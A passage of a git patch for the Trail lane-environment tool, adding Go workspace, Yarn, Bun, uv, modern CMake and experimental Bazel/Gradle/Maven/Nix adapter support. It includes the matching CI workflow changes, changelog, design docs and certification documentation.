From 7441b5d642a74c0fb8aa469282d5e6c0f9104b15 Mon Sep 17 00:00:00 2001 From: forhappy Date: Wed, 12 Aug 2026 14:41:03 -0700 Subject: [PATCH 1/5] Deepen ecosystem lane environments --- .github/workflows/layered-workspaces.yml | 27 +- CHANGELOG.md | 22 +- README.md | 11 +- docs/README.md | 1 + docs/design/environment-adapter-contract.md | 19 +- .../guardrails-security-and-redaction.md | 9 + docs/design/universal-lane-environments.md | 11 +- .../ecosystem-environment-certification.md | 80 ++ .../cli/integrations-and-maintenance.md | 14 +- docs/reference/http-api.md | 4 + docs/reference/mcp-tools.md | 4 + .../.openspec.yaml | 2 + .../deepen-ecosystem-environments/design.md | 90 ++ .../deepen-ecosystem-environments/proposal.md | 33 + .../specs/deep-ecosystem-environments/spec.md | 87 ++ .../spec.md | 51 + .../deepen-ecosystem-environments/tasks.md | 74 + scripts/build-ecosystem-adapter-package.sh | 35 + .../check-external-build-system-handoff.py | 564 ++++++++ scripts/check-real-framework-handoff.py | 228 ++- scripts/edit-real-framework-semantic.py | 112 +- ...est_check_external_build_system_handoff.py | 371 +++++ scripts/test_check_real_framework_handoff.py | 217 ++- scripts/test_edit_real_framework_semantic.py | 41 + scripts/verify-artifact-real-tool-gates.sh | 30 +- scripts/verify-real-framework-handoff.sh | 186 ++- .../bazel/conformance.toml | 8 + .../bazel/trail-adapter.toml.in | 25 + .../gradle/conformance.toml | 9 + .../gradle/trail-adapter.toml.in | 25 + .../maven/conformance.toml | 8 + .../maven/trail-adapter.toml.in | 25 + .../environment-adapters/nix/conformance.toml | 8 + .../nix/trail-adapter.toml.in | 25 + trail-environment-adapter-sdk/README.md | 20 +- .../examples/ecosystem-build-adapter.rs | 595 ++++++++ trail-environment-adapter-sdk/src/lib.rs | 152 +- trail/src/cli/environment_sandbox.rs | 112 +- trail/src/db/change_ledger/activation.rs | 6 +- trail/src/db/lane/workdir/nfs_overlay.rs | 85 +- trail/src/db/lane/workdir/view_core.rs | 20 +- trail/src/db/lane/workspace_artifact.rs | 60 +- trail/src/db/lane/workspace_cmake.rs | 1191 ++++++++++++++- trail/src/db/lane/workspace_environment.rs | 845 ++++++++++- trail/src/db/lane/workspace_go.rs | 857 ++++++++++- trail/src/db/lane/workspace_layer.rs | 122 +- trail/src/db/lane/workspace_node.rs | 1276 +++++++++++++++-- trail/src/db/lane/workspace_plugin.rs | 517 ++++++- trail/src/db/lane/workspace_python.rs | 291 +++- trail/src/db/lane/workspace_view.rs | 57 +- trail/src/model/reports/lane.rs | 2 + trail/src/server/openapi/schemas/lane.rs | 4 +- trail/tests/changed_path_ledger_activation.rs | 4 +- trail/tests/e2e.rs | 44 +- .../fixtures/changed_path_raw_mutations.v1 | 2 + trail/tests/lane_environment_inheritance.rs | 2 +- 56 files changed, 8347 insertions(+), 373 deletions(-) create mode 100644 docs/lanes/ecosystem-environment-certification.md create mode 100644 openspec/changes/deepen-ecosystem-environments/.openspec.yaml create mode 100644 openspec/changes/deepen-ecosystem-environments/design.md create mode 100644 openspec/changes/deepen-ecosystem-environments/proposal.md create mode 100644 openspec/changes/deepen-ecosystem-environments/specs/deep-ecosystem-environments/spec.md create mode 100644 openspec/changes/deepen-ecosystem-environments/specs/external-build-system-certification/spec.md create mode 100644 openspec/changes/deepen-ecosystem-environments/tasks.md create mode 100755 scripts/build-ecosystem-adapter-package.sh create mode 100644 scripts/check-external-build-system-handoff.py create mode 100644 scripts/test_check_external_build_system_handoff.py create mode 100644 tools/environment-adapters/bazel/conformance.toml create mode 100644 tools/environment-adapters/bazel/trail-adapter.toml.in create mode 100644 tools/environment-adapters/gradle/conformance.toml create mode 100644 tools/environment-adapters/gradle/trail-adapter.toml.in create mode 100644 tools/environment-adapters/maven/conformance.toml create mode 100644 tools/environment-adapters/maven/trail-adapter.toml.in create mode 100644 tools/environment-adapters/nix/conformance.toml create mode 100644 tools/environment-adapters/nix/trail-adapter.toml.in create mode 100644 trail-environment-adapter-sdk/examples/ecosystem-build-adapter.rs diff --git a/.github/workflows/layered-workspaces.yml b/.github/workflows/layered-workspaces.yml index 6b626d1a..8bcb55eb 100644 --- a/.github/workflows/layered-workspaces.yml +++ b/.github/workflows/layered-workspaces.yml @@ -43,7 +43,7 @@ on: default: false type: boolean run_real_framework_handoffs: - description: "Qualify pinned Go, pnpm, npm, Python, and CMake repositories through A -> B -> C macOS NFS lanes" + description: "Qualify pinned Go, Go workspace, Yarn, Bun, pnpm, npm, Python, uv, and CMake repositories through A -> B -> C macOS NFS lanes" required: false default: false type: boolean @@ -60,6 +60,8 @@ jobs: - uses: dtolnay/rust-toolchain@stable - uses: Swatinem/rust-cache@v2 - run: cargo test -p trail-environment-adapter-sdk --locked + - run: cargo test -p trail-environment-adapter-sdk --example ecosystem-build-adapter --locked + - run: python3 -m unittest scripts/test_check_external_build_system_handoff.py - run: cargo test -p trail view_core_ --no-default-features - if: ${{ runner.os != 'Windows' }} run: cargo test -p trail workspace_layer --no-default-features @@ -105,7 +107,7 @@ jobs: - run: cargo test -p trail real_cmake_configure_build_and_clean_stay_lane_private -- --nocapture env: TRAIL_RUN_FUSE_COW_TESTS: "1" - - run: cargo test -p trail real_python_venvs_embed_lane_paths_and_remain_isolated -- --nocapture + - run: cargo test -p trail real_python_venvs_use_direct_private_bindings_and_remain_isolated -- --nocapture env: TRAIL_RUN_FUSE_COW_TESTS: "1" - run: cargo test -p trail failed_mounted_initializer_preserves_previous_generation_and_real_uppers -- --nocapture @@ -207,7 +209,7 @@ jobs: - run: cargo test -p trail real_cmake_configure_build_and_clean_stay_lane_private -- --nocapture env: TRAIL_RUN_NFS_COW_TESTS: "1" - - run: cargo test -p trail real_python_venvs_embed_lane_paths_and_remain_isolated -- --nocapture + - run: cargo test -p trail real_python_venvs_use_direct_private_bindings_and_remain_isolated -- --nocapture env: TRAIL_RUN_NFS_COW_TESTS: "1" - run: cargo test -p trail failed_mounted_initializer_preserves_previous_generation_and_real_uppers -- --nocapture @@ -266,7 +268,7 @@ jobs: strategy: fail-fast: false matrix: - framework: [go, pnpm, npm, python, cmake] + framework: [go, go-workspace, yarn, bun, pnpm, npm, python, uv, cmake, cmake-modern] runs-on: macos-latest steps: - uses: actions/checkout@v4 @@ -276,22 +278,35 @@ jobs: path: ${{ runner.temp }}/trail-real-framework-candidate - name: Restore candidate executable permission run: chmod 0755 "${{ runner.temp }}/trail-real-framework-candidate/trail" - - if: ${{ matrix.framework == 'go' }} + - if: ${{ matrix.framework == 'go' || matrix.framework == 'go-workspace' }} uses: actions/setup-go@v5 with: go-version: "1.26.x" - - if: ${{ matrix.framework == 'pnpm' || matrix.framework == 'npm' }} + - if: ${{ matrix.framework == 'yarn' || matrix.framework == 'bun' || matrix.framework == 'pnpm' || matrix.framework == 'npm' }} uses: actions/setup-node@v4 with: node-version: "22" + - if: ${{ matrix.framework == 'yarn' }} + run: corepack enable && corepack prepare yarn@1.22.22 --activate + - if: ${{ matrix.framework == 'bun' }} + uses: oven-sh/setup-bun@v2 + with: + bun-version: "1.3.10" + - if: ${{ matrix.framework == 'uv' }} + uses: astral-sh/setup-uv@v6 + with: + version: "0.11.19" - if: ${{ matrix.framework == 'pnpm' }} run: corepack enable && corepack prepare pnpm@10.14.0 --activate + - if: ${{ matrix.framework == 'cmake-modern' }} + run: brew install ninja ccache - name: Qualify ${{ matrix.framework }} A -> B -> C handoff run: scripts/verify-real-framework-handoff.sh "${{ matrix.framework }}" env: TRAIL_BIN: ${{ runner.temp }}/trail-real-framework-candidate/trail TRAIL_FRAMEWORK_EVIDENCE_DIR: ${{ runner.temp }}/trail-real-framework-${{ matrix.framework }} TRAIL_FRAMEWORK_WORK_ROOT: ${{ runner.temp }}/trail-real-framework-work-${{ matrix.framework }} + TRAIL_CMAKE_CONFIGURE_PRESET: ${{ matrix.framework == 'cmake-modern' && 'dev' || '' }} - uses: actions/upload-artifact@v4 if: ${{ always() }} with: diff --git a/CHANGELOG.md b/CHANGELOG.md index 1a212861..abe65ef5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,13 +5,33 @@ All notable changes to Trail are documented in this file. Trail follows ## [Unreleased] +### Added + +- Environment support now includes contained Go multi-module workspaces, real frozen + Yarn Classic and Bun handoffs, project-aware `uv sync --frozen`, and modern + CMake/Ninja/preset/toolchain/ccache/vcpkg planning. Node native addons and lifecycle + scripts require an exact committed deny-by-default approval with platform/toolchain + identity and sandboxed output bounds. +- Versioned experimental Bazel, Gradle, Maven, and Nix adapter packages exercise the + common protocol-v2 host lifecycle. Nix records pure locked `/nix/store` results and a + digest-pinned builder as provider-owned immutable identities while Trail creates only + lane-private profile/state; it never copies the store or executes Nix in the adapter. +- Canonical ecosystem certification evidence now binds repository/tool/distribution + identities, A → B → C ancestry, deterministic plans, caches/private outputs, + semantic validations, identity invalidation, and hashes of every raw report. Public + environment plans expose adapter implementation and distribution digests consistently + through Rust, CLI JSON, HTTP, MCP, and OpenAPI. + ### Fixed - Managed lane commands now derive fixed policy, resolved executable, cache, and output bindings from each active environment adapter instead of injecting Cargo/npm defaults globally. Go, pnpm/npm/Yarn/Bun, Python, and CMake commands receive isolated framework-native caches and exact tool paths, while inactive - frameworks no longer leak variables into the command. + frameworks no longer leak variables into the command. Cargo-managed commands + also discard inherited profile, target, wrapper, and Rust-flag overrides before + applying the pinned lane policy, so compatible dependency fingerprints remain + reusable across lanes. - Managed execution now rejects environment-bearing materialized lanes before emitting an impossible resolution command and recommends a new `--workdir-mode auto` lane. Layered workspace backends remain required for diff --git a/README.md b/README.md index 1e9fba16..e9af210c 100644 --- a/README.md +++ b/README.md @@ -181,7 +181,7 @@ A layered lane keeps two kinds of state separate: readiness, merge, and Git export can preserve them. - Framework artifacts are dependency installs, compiler targets, bundles, generated caches, and other tool output. Trail discovers them through Cargo, - Node, Next.js, Vite, repository v2, or adapter-v3 contracts; they do not enter + Go, Node, Python, CMake, repository v2, or adapter-plugin contracts; they do not enter source history unless an explicit declared source export is authorized. The reusable artifact path is content addressed. Discovery reads source markers @@ -208,6 +208,15 @@ Node components receive package-manager caches plus a direct private `TRAIL_CMAKE_BUILD_DIR`. Inactive frameworks inject no cache, tool, or output variables into the command. +The built-ins cover Go modules and contained `go.work` graphs, npm/pnpm/Yarn +Classic/Bun frozen installs, hash-locked and `uv.lock` Python projects, and +CMake/Ninja/presets/ccache with pinned vcpkg manifest authority. Yarn Berry/PnP, +unfrozen Python inputs, unsafe CMake includes, and unapproved Node lifecycle scripts +fail closed. Experimental protocol-v2 example packages locally qualify Bazel, Gradle, +Maven, and Nix without adding framework-specific execution paths to Trail core; see +[ecosystem environment certification](docs/lanes/ecosystem-environment-certification.md) +for exact platform evidence and pending hosted gates. + ```sh trail env discover fix-login trail env plan fix-login diff --git a/docs/README.md b/docs/README.md index c9f47835..b229c57e 100644 --- a/docs/README.md +++ b/docs/README.md @@ -55,6 +55,7 @@ These docs are written from the current Rust code, CLI definitions, exported mod - [Events, traces, and spans](lanes/events-traces-and-spans.md) - [Tests, evals, gates, and readiness](lanes/tests-evals-gates-and-readiness.md) - [Handoff, review, and merge](lanes/handoff-review-and-merge.md) +- [Ecosystem environment certification](lanes/ecosystem-environment-certification.md) ## Integrations diff --git a/docs/design/environment-adapter-contract.md b/docs/design/environment-adapter-contract.md index 37a181a0..5b4fc457 100644 --- a/docs/design/environment-adapter-contract.md +++ b/docs/design/environment-adapter-contract.md @@ -1264,9 +1264,20 @@ explicit source-export contracts. Bazel/Nix-like provider stores use a protocol-v2 plugin metadata component containing sorted `verified_external` entries. Each entry binds a provider token, opaque bounded -reference, SHA-256 digest, and platform identity. It has no action, cache, output, -runtime allocation, or Trail-owned cleanup. OCI runtime declarations remain restricted -to `oci_image`, so a generic store reference cannot be relabeled as a container image. +reference, SHA-256 digest, and platform identity. It has no action, cache, runtime +allocation, or Trail-owned cleanup. A provider-store plan may additionally declare only +lane-scoped `writable_private`, non-reused, never-published client state; Trail creates +that state without invoking the adapter. OCI runtime declarations remain restricted to +`oci_image`, so a generic store reference cannot be relabeled as a container image. + +The locally qualified Nix example requires a strict committed `trail.nix.toml` marker and a +matching pinned `flake.lock`. The marker records `locked = true`, `pure = true`, exact +Nix version, digest-pinned OCI builder/platform, and package/check `/nix/store` paths plus +NAR SHA-256 digests. Changed lock bytes, builder substitution, unlocked/impure markers, +malformed store references, and writable/shared external identities fail planning. The +host records metadata and lane-private profile/state only; qualification performs the +actual `nix build --offline --no-write-lock-file --option pure-eval true` outside the +adapter and verifies lock bytes are unchanged. The implemented `trail/cmake-build@1` adapter covers the safe first slice: discovery, deterministic host/tool compatibility identity, atomic lane-private build-directory @@ -1319,7 +1330,7 @@ trail lane exec -- "$TRAIL_VENV_PYTHON" -m pytest The supported install contracts are `uv.lock`, a hash-pinned `requirements.lock`, or a verified Trail-managed hash-bearing requirements snapshot. -`uv.lock` uses `uv sync --frozen --no-install-project`; requirements snapshots use +`uv.lock` uses contained project-aware `uv sync --frozen --offline`; requirements snapshots use `uv pip sync --require-hashes`. A plain `requirements.txt`, Poetry/PDM/Pipenv lock, or unhashed requirements file is rejected until an adapter can implement its exact frozen installation semantics. diff --git a/docs/design/guardrails-security-and-redaction.md b/docs/design/guardrails-security-and-redaction.md index 8bd5a957..dd889915 100644 --- a/docs/design/guardrails-security-and-redaction.md +++ b/docs/design/guardrails-security-and-redaction.md @@ -50,6 +50,15 @@ Repository v2 and adapter v3 requests may narrow a certified profile but cannot widen it. V1/v2 adapters keep their legacy authority and cannot obtain v3 resolution, source-export, or attestation privileges through omitted fields. +Provider-owned external artifacts are untrusted claims until their complete typed +identity passes host validation. Protocol-v2 plans cannot combine them with actions or +caches and cannot relabel a generic store reference as an OCI image. Their only optional +filesystem state is a layerless, lane-scoped `writable_private` directory with no reuse, +gate, or publication; Trail creates it without executing the adapter. Nix qualification +additionally binds a pinned lock digest, pure/locked marker, digest-pinned builder image, +exact store paths, platform, and NAR SHA-256 digests. Trail never treats a marker as +authority to fetch, execute, access a host store, or clean provider content. + Secret bytes are never key material. A phase that receives a secret is tainted; its output must remain lane private and cannot enter shared CAS, a reusable materialization, an attestation, or a source export. Candidate ingestion also diff --git a/docs/design/universal-lane-environments.md b/docs/design/universal-lane-environments.md index a723fa5d..fd5827f5 100644 --- a/docs/design/universal-lane-environments.md +++ b/docs/design/universal-lane-environments.md @@ -627,8 +627,10 @@ Conformance fixtures also cover ecosystems that have no built-in adapter. A Maven/Gradle-like checksum graph plus private build state and an unknown custom generator compile through repository v2. Bazel/Nix-like content stores compile through the generic plugin `verified_external` identity: Trail records provider/reference/digest/platform -metadata but creates no layer, cache, runtime, or cleanup claim. These are compositions -of common contracts, not framework switches in the lane backend. +metadata but creates no layer, cache, runtime, or cleanup claim. Such a plan may pair +the immutable external identity with layerless lane-private client state (for example a +Nix profile), but only with no reuse or publication and with no adapter action. These are +compositions of common contracts, not framework switches in the lane backend. Each lane pins a generation independently. Syncing lane A cannot change the active generation, private upper, services, or secret handles of lane B. A new artifact may be @@ -886,6 +888,11 @@ policy decisions, stale reasons, operation links, and redaction rules. Long-runn build, verification, and runtime operations use Trail operations with progress events and cancellation rather than blocking opaque requests. +`EnvironmentPlanReport` includes both `adapter_implementation_version` and +`adapter_distribution_digest`. Automation must bind both values before accepting a plan: +the canonical adapter identity alone does not prove which executable/package bytes +produced it. CLI JSON, HTTP, MCP structured content, and OpenAPI expose the same fields. + The shared Rust operation layer now exposes artifact inspection, attach/sample/full/ reproducibility-evidence verification, quarantine list/show/resolve, bounded content reachability, workspace/envelope CAS accounting, resolution reports, and source-export diff --git a/docs/lanes/ecosystem-environment-certification.md b/docs/lanes/ecosystem-environment-certification.md new file mode 100644 index 00000000..c708e8db --- /dev/null +++ b/docs/lanes/ecosystem-environment-certification.md @@ -0,0 +1,80 @@ +# Ecosystem environment certification + +Trail distinguishes implementation support from certification evidence. Recognition or +successful planning is not enough to claim that a framework can perform a safe Agent +A → B → C handoff. Certification requires a pinned repository and tools, exact semantic +checkpoint ancestry, deterministic plans, real validation, identity-input invalidation, +private-output isolation, and hashes for every authoritative raw report. + +## Current status + +| Ecosystem variant | Trail contract | Local real-repository evidence | Hosted status | +| --- | --- | --- | --- | +| Go module and `go.work` multi-module | built-in `trail/go-vendor@1`/`@2` | qualified on macOS NFS-COW | opt-in matrix; not promoted to required CI | +| npm, pnpm, Yarn Classic, Bun | built-in `trail/node@1` | qualified on macOS NFS-COW | opt-in matrix; Yarn Berry/PnP remains unsupported | +| Python hash locks and `uv.lock` projects | built-in `trail/python-venv@1` | qualified on macOS NFS-COW | opt-in matrix; Poetry/PDM/Pipenv locks remain unsupported | +| CMake and modern CMake/Ninja/presets/ccache/vcpkg | built-in `trail/cmake-build@1` | qualified on macOS NFS-COW | opt-in matrix; Conan remains recognized but unsupported | +| Approved Node lifecycle/native addon | built-in Node approval contract | qualified on macOS NFS-COW with real denied-network/write checks | hosted promotion pending | +| Bazel, Gradle, Maven | protocol-v2 example plugin packages | qualified locally with pinned real repositories and offline construction | experimental packages; hosted promotion pending | +| Nix | protocol-v2 example plugin package plus external immutable identities | qualified locally with a pinned `NixOS/templates` revision and digest-pinned Linux/arm64 builder | experimental package; hosted promotion pending | + +“Qualified locally” describes passing evidence for the named platform. It is not a +cross-platform claim. A row becomes hosted-certified only after its owning workflow is +green and required for the release; skipped or unavailable native backends are not +passing evidence. + +## Canonical evidence + +The external-system checker accepts exactly 26 raw JSON reports for a three-lane run: +the installed distribution and conformance result; spawn, checkpoint, repeated plan, +sync, and semantic validation for A/B/C; plus the same identity-authority invalidation +reports. It verifies raw hashes again when reading the sealed `evidence.json`: + +```sh +python3 scripts/check-external-build-system-handoff.py \ + /path/to/certification-v1 nix owner/repository external-build.nix +python3 scripts/check-external-build-system-handoff.py \ + --verify /path/to/certification-v1 +``` + +The built-in framework harness uses the equivalent +`scripts/check-real-framework-handoff.py` contract. Evidence directories are generated +qualification artifacts and are not committed to the Trail source tree. + +## External package workflow + +Build one shared example executable and package it with an ecosystem-specific manifest: + +```sh +CARGO_TARGET_DIR=/path/out cargo build \ + -p trail-environment-adapter-sdk --example ecosystem-build-adapter --locked +TRAIL_ECOSYSTEM_ADAPTER_BIN=/path/out/debug/examples/ecosystem-build-adapter \ + scripts/build-ecosystem-adapter-package.sh nix /new/package-directory +trail env plugin inspect /new/package-directory --format json +trail env plugin install /new/package-directory --format json +``` + +The Bazel, Gradle, and Maven packages declare an offline process-tree action, host-owned +performance caches where applicable, and lane-private mutable output. The Nix package is +metadata-only: it runs no process and receives no cache, network, secret, Docker socket, +or host-store access. It requires a strict `trail.nix.toml` marker whose `flake.lock` +digest matches the pinned source and records: + +- `locked = true` and `pure = true`; +- exact Nix version, digest-pinned builder image, and platform; +- package and check `/nix/store/...` references with NAR SHA-256 digests. + +Trail records those provider-owned identities and creates only lane-private profile and +client-state directories. Qualification separately proves the reported paths using +`nix build --offline --no-write-lock-file --option pure-eval true`; changing lock bytes +invalidates the Trail component even when JSON meaning and Nix store results are +unchanged. + +## Promotion rule + +Do not promote a status because a synthetic fixture passes. Promotion requires the +common malicious-package suite, deterministic planning, exact distribution binding, +real-tool validation, native lane isolation, authority invalidation, and sealed raw +evidence. Record the tested repository revision, tool/image digest, operating system, +architecture, and layered backend. Keep unsupported variants fail-closed and name the +missing contract explicitly. diff --git a/docs/reference/cli/integrations-and-maintenance.md b/docs/reference/cli/integrations-and-maintenance.md index edce1154..58787716 100644 --- a/docs/reference/cli/integrations-and-maintenance.md +++ b/docs/reference/cli/integrations-and-maintenance.md @@ -236,7 +236,19 @@ On macOS, `nfs-cow` provides the same write-time copy-up behavior through the built-in loopback NFS client and requires no kernel extension. On Windows, `dokan-cow` exposes the same layered semantics through Dokan 2.x. -### Prewarm or promote a lane environment +### Inspect, prewarm, or promote a lane environment + +```sh +trail env discover +trail env graph +trail env plan [--component ] [--adapter ] [--path ] +``` + +`env plan --format json` returns the same `EnvironmentPlanReport` used by HTTP +and MCP. Its required `adapter_identity`, `adapter_implementation_version`, and +`adapter_distribution_digest` fields bind the logical adapter, implementation +version, and exact built-in or installed package distribution that produced the +plan. Automation should compare all three before accepting reusable state. ```sh trail env sync all diff --git a/docs/reference/http-api.md b/docs/reference/http-api.md index c184077e..9fbf06f9 100644 --- a/docs/reference/http-api.md +++ b/docs/reference/http-api.md @@ -2,6 +2,9 @@ Environment sync reports include per-component cache decisions, storage identity, rebuild reason, exact changed identity edges, and byte accounting. +Environment plan responses require `adapter_identity`, +`adapter_implementation_version`, and `adapter_distribution_digest`; these are +the same fields serialized by Rust, CLI JSON/NDJSON, and MCP structured content. `POST /v1/lanes/{lane_or_id}/environment/promote` accepts `component` and `output` and returns the durable publication and successor-generation report. Artifact resolution, inspection, verification, quarantine, reachability, @@ -118,6 +121,7 @@ x-trail-token: | POST | `/v1/lanes/{lane_or_id}/tests` | Run test gate. | | POST | `/v1/lanes/{lane_or_id}/evals` | Run eval gate. | | POST | `/v1/lanes/{lane_or_id}/patches` | Apply lane patch. | +| GET | `/v1/lanes/{lane_or_id}/environment/plan` | Return the normalized component plan and exact adapter implementation/distribution identity. | | POST | `/v1/lanes/{lane_or_id}/environment/resolve` | Resolve or reuse one pinned component snapshot. Body: `component`, optional `path` and `refresh`. | | POST | `/v1/lanes/{lane_or_id}/environment/resolve-all` | Resolve or reuse every incomplete component snapshot. Body: optional `path` and `refresh`. | | POST | `/v1/lanes/{lane_or_id}/environment/source-export` | Export one declared generated-source subtree through normal lane source writes. Body: `component` and `export`. | diff --git a/docs/reference/mcp-tools.md b/docs/reference/mcp-tools.md index c56143b8..781cfb5a 100644 --- a/docs/reference/mcp-tools.md +++ b/docs/reference/mcp-tools.md @@ -2,6 +2,10 @@ `trail.env_promote` promotes a declared manual private output. Environment sync tools return the same cache decisions and identity edges as Rust, CLI, and HTTP. +`trail.env_plan` returns the shared `EnvironmentPlanReport`, including required +`adapter_identity`, `adapter_implementation_version`, and +`adapter_distribution_digest` fields that bind the logical adapter and exact +implementation/package bytes before reuse. `trail.lane_spawn` includes the same typed backend prerequisite report used by doctor and the HTTP API. diff --git a/openspec/changes/deepen-ecosystem-environments/.openspec.yaml b/openspec/changes/deepen-ecosystem-environments/.openspec.yaml new file mode 100644 index 00000000..5081c987 --- /dev/null +++ b/openspec/changes/deepen-ecosystem-environments/.openspec.yaml @@ -0,0 +1,2 @@ +schema: spec-driven +created: 2026-08-12 diff --git a/openspec/changes/deepen-ecosystem-environments/design.md b/openspec/changes/deepen-ecosystem-environments/design.md new file mode 100644 index 00000000..59ec6d34 --- /dev/null +++ b/openspec/changes/deepen-ecosystem-environments/design.md @@ -0,0 +1,90 @@ +## Context + +Trail already has a framework-neutral environment graph and built-in adapters for Go, Node, Python, and CMake. Its host owns identity, isolated construction, shared caches, private outputs, generation activation, recovery, and managed command bindings. The remaining ecosystem gaps are not all the same kind: some need richer built-in graph discovery, some need an explicit trust policy for repository code, and Bazel/Gradle/Maven/Nix should prove the extension contract rather than grow four special cases in core. + +The implementation must preserve source immutability, deterministic planning, bounded inputs and subprocess output, no implicit network or secrets, atomic activation, lane-private mutable state, and exact A → B → C ancestry. Existing environment wire types and schema versions should remain additive unless evidence proves a new stored meaning is unavoidable. + +## Goals / Non-Goals + +**Goals:** + +- Certify common variants already recognized by built-in adapters: Go workspaces, Yarn, Bun, fully installed uv environments, and modern CMake workflows. +- Make repository-code execution explicit, inspectable, and deny-by-default for Node lifecycle scripts and native addons. +- Exercise Bazel, Gradle, Maven, and Nix through repository recipes or signed plugins with the same host-owned artifact lifecycle. +- Produce reproducible local and hosted evidence that successor lanes reuse only correctness-compatible state. +- Keep all public reports and documentation explicit about shared, private, cache-only, and external content. + +**Non-Goals:** + +- Claim arbitrary ecosystem build scripts are hermetic or deterministic. +- Share writable compiler/build directories between lanes. +- Add credentials or open network access to default built-in resolution. +- Implement every package manager feature, remote execution service, or lockfile dialect. +- Add one-off Bazel, Gradle, Maven, or Nix execution paths outside the adapter/recipe boundary. + +## Decisions + +### 1. Go workspaces are one graph-aware component + +A directory containing `go.work` becomes one `trail/go-vendor@2` component. Trail parses the bounded `use` graph, normalizes and contains every module path, rejects duplicates, replacements or module paths that escape the component root, and includes `go.work`, optional `go.work.sum`, every member `go.mod`/`go.sum`, the complete pinned source root, Go executable identity, platform, and policy in its identity. Construction uses argv-only `go work vendor` against the pinned source projection and managed Go caches. Single-module repositories remain on the v1-compatible contract. + +Alternative: emit one component per module. Rejected because `go work vendor`, workspace replacements, and cross-module dependencies have graph-wide semantics and atomic output. + +### 2. Yarn and Bun graduate through the existing Node adapter + +Yarn Classic and Bun retain manager-specific snapshot formats, frozen argv, cache namespaces, and ordinary `node_modules` immutable-seed/private-upper behavior. Yarn Berry/PnP remains fail-closed until a separate PnP binding contract exists. Real-repository gates must test both a source-only successor and an invalidating lock/policy change; unit fixtures alone are insufficient certification. + +Alternative: certify only synthetic repositories. Rejected because manager wrappers, lock formats, and platform behavior are exactly what the qualification must prove. + +### 3. `uv.lock` is installed with project semantics + +For a project with `uv.lock`, Trail runs `uv sync --frozen --offline --no-progress` in the physical lane-private candidate upper, with `UV_PROJECT_ENVIRONMENT` pointing at the candidate `.venv` and a shared performance-only uv cache. The lockfile, `pyproject.toml`, workspace/member metadata selected by uv, Python identity, uv identity, platform, and policy determine the component key. Hash-pinned requirements keep their separate `uv pip install --require-hashes` contract. A successful plan must validate that the environment contains the locked project distribution/dependencies rather than only a Python executable. + +Alternative: export `uv.lock` to requirements and install with pip semantics. Rejected because it loses uv workspace, source, group, and project-install meaning. + +### 4. CMake configuration is modeled, build output remains private + +The adapter discovers `CMakePresets.json` and optional `CMakeUserPresets.json` only when all includes remain inside the pinned repository and the selected configure preset is unambiguous or explicitly configured. It fingerprints selected preset expansion, generator, toolchain file bytes, CMake/Ninja/compiler identities, platform, and dependency-manager identity. It binds a lane-private build tree, `CMAKE_BUILD_PARALLEL_LEVEL` policy, and an optional host-scoped ccache namespace. The first dependency-manager certification uses vcpkg manifest mode with a pinned baseline and explicit toolchain identity; registries/downloads are cache-only and require the qualification job's prewarmed/offline inputs. Conan remains visible but unsupported until an equivalent lock/profile contract lands. + +Alternative: publish CMake build trees as immutable layers. Rejected because CMake embeds absolute source/build paths and generators mutate the tree incrementally. + +### 5. Node repository code requires a versioned approval + +Default Node construction continues to disable lifecycle scripts. A repository may request scripts/native addons only through a committed Trail policy containing an exact package-manager, lock digest, approved package/script selectors, platform/toolchain compatibility, network denial, and output policy. Trail records the policy digest and approval provenance in the component identity and receipt. Script-enabled installs never use the public script-disabled portability contract; native-addon results are ABI/platform/toolchain scoped, and unclassified writable outputs remain lane-private. Any script outside the allowlist, attempted network access, undeclared write, or missing compiler identity fails closed. + +Alternative: pass npm/Yarn/Bun's ordinary “enable scripts” flag. Rejected because it delegates authority to transitive repository code without an auditable scope. + +### 6. External build systems certify the extension ladder + +Bazel, Gradle, Maven, and Nix each ship a versioned example recipe or adapter package plus a conformance manifest. Plans declare exact lock/config/tool inputs, host-managed executable identities, bounded caches, private outputs, denied network during construction, validation commands, and portability. Nix store paths are external immutable identities, not copied Trail layers. Certification runs the common malicious-plan suite, platform-appropriate real-tool construction, reopen/reuse, stale-input rejection, and A → B → C handoff verifier. + +Alternative: add four built-in adapters. Rejected until the extension contract proves unable to express a required capability. + +### 7. Certification is a first-class checked artifact + +The qualification harness emits a canonical evidence document naming repository/revision, adapter/package digest, tool identities, platform/backend, lane ancestry, roots, keys, cache namespaces, outputs, executed validations, stale-input cases, and raw evidence hashes. Hosted CI validates the document with adversarial tests. Documentation labels a variant certified only when its required platform jobs pass. + +## Risks / Trade-offs + +- **Repository scripts execute untrusted code** → Keep scripts deny-by-default, require exact committed approval, apply native sandbox/network denial, and scope outputs/platform identity conservatively. +- **Go/CMake/Python workspace discovery can escape through includes or relative members** → Normalize against the pinned component root, reject symlink/traversal/absolute escapes, cap graph size and file bytes, and test hostile graphs. +- **Offline real-tool gates can be flaky without caches** → Pin repository revisions and tool versions, explicitly prewarm cache inputs in setup, run construction offline, and distinguish setup network from adapter authority. +- **CMake presets vary across generators and hosts** → Certify Ninja first, persist exact selected preset/generator/toolchain identity, and fail on ambiguity rather than selecting silently. +- **Private outputs reduce byte reuse** → Reuse correctness-neutral download/compiler caches and compatible private seeds only where the tool contract permits; report the trade-off rather than manufacturing a shared artifact. +- **External recipes may expose missing SDK capabilities** → Extend the common protocol additively with typed declarations only after a conformance test proves the gap; do not bypass host ownership. +- **Qualification matrix cost grows sharply** → Separate fast contract/adversarial jobs from scheduled or opt-in real-repository jobs, then promote stable gates to required CI per variant. + +## Migration Plan + +1. Land additive adapter behavior and fixtures behind existing fail-closed discovery states. +2. Add local real-tool tests and canonical evidence verifiers. +3. Add pinned hosted matrix entries as non-required qualification jobs. +4. Promote a variant's documentation from recognized/experimental to certified only after its platform evidence is green. +5. Preserve existing v1 single-module Go, script-disabled Node, hashed-requirements Python, and basic CMake behavior as compatible fallbacks. +6. Roll back by disabling the affected certification/adapter version; prior environment generations remain inspectable and no durable object is rewritten. + +## Open Questions + +- Whether Conan should follow vcpkg in this change after vcpkg certification, or remain the documented next C/C++ dependency-manager contract. +- Which Bazel/Gradle/Maven/Nix repositories provide small, stable, license-compatible hosted fixtures across the supported platforms. +- Whether approved Node lifecycle policy fits the existing repository environment document or merits a narrowly scoped dedicated policy file; implementation must choose one canonical source before public release. diff --git a/openspec/changes/deepen-ecosystem-environments/proposal.md b/openspec/changes/deepen-ecosystem-environments/proposal.md new file mode 100644 index 00000000..48a7ebf4 --- /dev/null +++ b/openspec/changes/deepen-ecosystem-environments/proposal.md @@ -0,0 +1,33 @@ +## Why + +Trail's universal environment model recognizes more ecosystem 